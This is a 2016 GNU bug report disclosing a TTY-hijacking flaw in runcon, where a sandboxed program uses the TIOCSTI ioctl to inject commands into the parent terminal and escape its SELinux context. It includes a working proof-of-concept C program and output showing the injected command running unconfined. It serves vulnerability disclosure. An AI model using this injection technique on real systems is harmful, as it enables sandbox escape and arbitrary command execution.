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runcon tty hijacking via TIOCSTI ioctl

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From: up201407890 <at> alunos.dcc.fc.up.pt
To: 24541 <at> debbugs.gnu.org
Subject: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Sun, 25 Sep 2016 13:39:55 +0200

When executing a program via the runcon utility, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
execute arbitrary commands without the SELinux security context.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
  execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ runcon -t sandbox_t ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
$ id   <--- did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

Thanks,
Federico Bento.

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